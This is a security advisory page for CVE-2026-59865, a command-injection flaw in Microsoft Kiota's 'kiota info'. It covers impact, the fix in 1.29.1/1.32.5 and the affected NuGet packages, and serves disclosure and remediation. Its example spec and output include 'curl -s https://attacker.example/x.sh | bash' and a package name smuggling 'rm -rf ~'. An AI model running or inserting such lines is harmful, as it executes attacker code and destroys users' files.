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CVE-2026-59865 — Vulnerability in Microsoft.OpenApi.Kiota — CVE...

CRITICAL

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Published July 24, 2026Updated August 17, 2026Source: osv

Summary

### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d <attacker-spec> -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota **1.32.4**. ### Details `x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the install-command example, and `dependencies[].name`/`version` were shown verbatim in the package table: ``` # spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash" dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }] ``` Without `x-ms-kiota-info`, kiota suggests its own trusted command (e.g. `dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it. `kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in `dependencyInstallCommand`. ### Impact A developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output, could make this automatic. CWE-94 / CWE-829. Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE). ### Patches Fixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied `dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The `--json` output no longer carries a spec-controlled command string for the IDE to run. ### Remediation Upgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Advisory Timeline

  • First published July 24, 2026 (80 days ago).
  • Last revised August 17, 2026 — 24 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

NuGet
Update Microsoft.OpenApi.Kiota to 1.32.5 or later
dotnet add package Microsoft.OpenApi.Kiota --version 1.32.5
NuGet
Update Microsoft.OpenApi.Kiota.Builder to 1.32.5 or later
dotnet add package Microsoft.OpenApi.Kiota.Builder --version 1.32.5
NuGet
Update Microsoft.OpenApi.Kiota to 1.29.1 or later
dotnet add package Microsoft.OpenApi.Kiota --version 1.29.1
NuGet
Update Microsoft.OpenApi.Kiota.Builder to 1.29.1 or later
dotnet add package Microsoft.OpenApi.Kiota.Builder --version 1.29.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (4)

Affects 1 ecosystem: nuget (2).

PackageEcosystemAffectedFixed In
Microsoft.OpenApi.Kiota
nuget
1.30.0, 1.31.0, 1.31.1, 1.32.0 (+4 more)1.32.5
Microsoft.OpenApi.Kiota.Builder
nuget
All versions1.32.5
Microsoft.OpenApi.Kiota
nuget
0.1.0-preview, 0.1.1-preview, 0.1.2-preview, 0.1.3-preview (+62 more)1.29.1
Microsoft.OpenApi.Kiota.Builder
nuget
0.2.0-preview, 0.3.0-preview, 0.4.0-preview, 0.5.0-preview (+42 more)1.29.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-59865?
Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info` This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-59865?
CVE-2026-59865 affects Microsoft.OpenApi.Kiota and Microsoft.OpenApi.Kiota.Builder. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-59865 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-hq9q-27g5-qwpj

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